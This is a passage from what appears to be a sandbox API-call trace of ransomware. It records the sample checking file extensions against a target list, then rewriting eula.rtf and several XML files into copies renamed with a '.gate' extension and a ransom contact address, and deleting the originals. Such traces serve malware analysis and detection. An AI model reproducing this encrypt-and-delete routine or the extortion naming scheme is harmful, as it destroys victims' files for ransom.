(lpString1=".jpg", lpString2=".rtf") returned -1 [0113.239] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.239] lstrlenW (lpString="eula.rtf") returned 8 [0113.239] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.245] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=4015) returned 1 [0113.245] CloseHandle (hObject=0x308) returned 1 [0113.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0113.246] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.246] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.246] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.246] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.246] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.246] GetLastError () returned 0x0 [0113.246] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xfaf, lpOverlapped=0x0) returned 1 [0113.260] WriteFile (in: hFile=0x350, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xfb0, lpOverlapped=0x0) returned 1 [0113.261] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.261] WriteFile (in: hFile=0x350, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.261] SetEndOfFile (hFile=0x350) returned 1 [0113.261] CloseHandle (hObject=0x350) returned 1 [0113.262] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.262] SetEndOfFile (hFile=0x308) returned 1 [0113.263] CloseHandle (hObject=0x308) returned 1 [0113.263] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.263] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0113.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.264] lstrlenW (lpString=".doc") returned 4 [0113.264] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.264] lstrlenW (lpString=".docx") returned 5 [0113.264] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.264] lstrlenW (lpString=".pdf") returned 4 [0113.264] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.264] lstrlenW (lpString=".xls") returned 4 [0113.264] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.264] lstrlenW (lpString=".xlsx") returned 5 [0113.264] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.264] lstrlenW (lpString=".ppt") returned 4 [0113.264] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.264] lstrlenW (lpString=".zip") returned 4 [0113.264] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.264] lstrlenW (lpString=".rar") returned 4 [0113.264] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.264] lstrlenW (lpString=".bz2") returned 4 [0113.264] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.264] lstrlenW (lpString=".7z") returned 3 [0113.264] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.264] lstrlenW (lpString=".dbf") returned 4 [0113.264] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString=".1cd") returned 4 [0113.265] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString=".jpg") returned 4 [0113.265] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString=".doc") returned 4 [0113.265] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString=".docx") returned 5 [0113.265] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.265] lstrlenW (lpString=".pdf") returned 4 [0113.265] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString=".xls") returned 4 [0113.265] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.265] lstrlenW (lpString=".xlsx") returned 5 [0113.265] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.265] lstrlenW (lpString=".ppt") returned 4 [0113.265] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString=".zip") returned 4 [0113.265] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.265] lstrlenW (lpString=".rar") returned 4 [0113.265] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString=".bz2") returned 4 [0113.265] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString=".7z") returned 3 [0113.265] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString=".dbf") returned 4 [0113.265] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.265] lstrlenW (lpString=".1cd") returned 4 [0113.265] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0113.266] lstrlenW (lpString=".jpg") returned 4 [0113.266] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.266] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.266] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.266] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=80254) returned 1 [0113.266] CloseHandle (hObject=0x308) returned 1 [0113.266] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0113.266] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.267] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.267] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.267] GetLastError () returned 0x0 [0113.267] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x1397e, lpOverlapped=0x0) returned 1 [0113.454] WriteFile (in: hFile=0x350, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13980, lpOverlapped=0x0) returned 1 [0113.456] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.456] WriteFile (in: hFile=0x350, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.456] SetEndOfFile (hFile=0x350) returned 1 [0113.456] CloseHandle (hObject=0x350) returned 1 [0113.462] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.462] SetEndOfFile (hFile=0x308) returned 1 [0113.463] CloseHandle (hObject=0x308) returned 1 [0113.464] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.464] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0113.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.464] lstrlenW (lpString=".doc") returned 4 [0113.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.464] lstrlenW (lpString=".docx") returned 5 [0113.464] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.464] lstrlenW (lpString=".pdf") returned 4 [0113.464] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.464] lstrlenW (lpString=".xls") returned 4 [0113.465] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString=".xlsx") returned 5 [0113.465] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.465] lstrlenW (lpString=".ppt") returned 4 [0113.465] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.465] lstrlenW (lpString=".zip") returned 4 [0113.465] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.465] lstrlenW (lpString=".rar") returned 4 [0113.465] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString=".bz2") returned 4 [0113.465] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString=".7z") returned 3 [0113.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.465] lstrlenW (lpString=".dbf") returned 4 [0113.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.465] lstrlenW (lpString=".1cd") returned 4 [0113.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.465] lstrlenW (lpString=".jpg") returned 4 [0113.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.465] lstrlenW (lpString=".doc") returned 4 [0113.465] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.465] lstrlenW (lpString=".docx") returned 5 [0113.466] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.466] lstrlenW (lpString=".pdf") returned 4 [0113.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString=".xls") returned 4 [0113.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString=".xlsx") returned 5 [0113.466] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.466] lstrlenW (lpString=".ppt") returned 4 [0113.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.466] lstrlenW (lpString=".zip") returned 4 [0113.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.466] lstrlenW (lpString=".rar") returned 4 [0113.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString=".bz2") returned 4 [0113.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString=".7z") returned 3 [0113.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.466] lstrlenW (lpString=".dbf") returned 4 [0113.466] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.466] lstrlenW (lpString=".1cd") returned 4 [0113.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0113.466] lstrlenW (lpString=".jpg") returned 4 [0113.466] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.467] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.467] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.467] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.467] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=79996) returned 1 [0113.467] CloseHandle (hObject=0x308) returned 1 [0113.467] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0113.468] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.468] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.468] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.468] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.468] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.468] GetLastError () returned 0x0 [0113.468] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x1387c, lpOverlapped=0x0) returned 1 [0113.554] WriteFile (in: hFile=0x350, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13880, lpOverlapped=0x0) returned 1 [0113.556] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.556] WriteFile (in: hFile=0x350, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.556] SetEndOfFile (hFile=0x350) returned 1 [0113.556] CloseHandle (hObject=0x350) returned 1 [0113.559] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.559] SetEndOfFile (hFile=0x308) returned 1 [0113.560] CloseHandle (hObject=0x308) returned 1 [0113.560] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.560] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0113.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.561] lstrlenW (lpString=".doc") returned 4 [0113.561] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.561] lstrlenW (lpString=".docx") returned 5 [0113.561] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.561] lstrlenW (lpString=".pdf") returned 4 [0113.561] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.561] lstrlenW (lpString=".xls") returned 4 [0113.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.561] lstrlenW (lpString=".xlsx") returned 5 [0113.561] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.561] lstrlenW (lpString=".ppt") returned 4 [0113.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.561] lstrlenW (lpString=".zip") returned 4 [0113.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.561] lstrlenW (lpString=".rar") returned 4 [0113.561] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.561] lstrlenW (lpString=".bz2") returned 4 [0113.561] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.561] lstrlenW (lpString=".7z") returned 3 [0113.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString=".dbf") returned 4 [0113.562] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString=".1cd") returned 4 [0113.562] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString=".jpg") returned 4 [0113.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString=".doc") returned 4 [0113.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString=".docx") returned 5 [0113.562] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.562] lstrlenW (lpString=".pdf") returned 4 [0113.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString=".xls") returned 4 [0113.562] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString=".xlsx") returned 5 [0113.562] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.562] lstrlenW (lpString=".ppt") returned 4 [0113.562] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString=".zip") returned 4 [0113.562] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.562] lstrlenW (lpString=".rar") returned 4 [0113.562] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString=".bz2") returned 4 [0113.562] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.562] lstrlenW (lpString=".7z") returned 3 [0113.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.562] lstrlenW (lpString=".dbf") returned 4 [0113.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.563] lstrlenW (lpString=".1cd") returned 4 [0113.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0113.563] lstrlenW (lpString=".jpg") returned 4 [0113.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.563] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.563] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0113.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.571] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=93314) returned 1 [0113.571] CloseHandle (hObject=0x350) returned 1 [0113.571] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0113.571] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.572] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.572] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.572] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.573] GetLastError () returned 0x0 [0113.573] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x16c82, lpOverlapped=0x0) returned 1 [0113.656] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x16c90, lpOverlapped=0x0) returned 1 [0113.658] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: 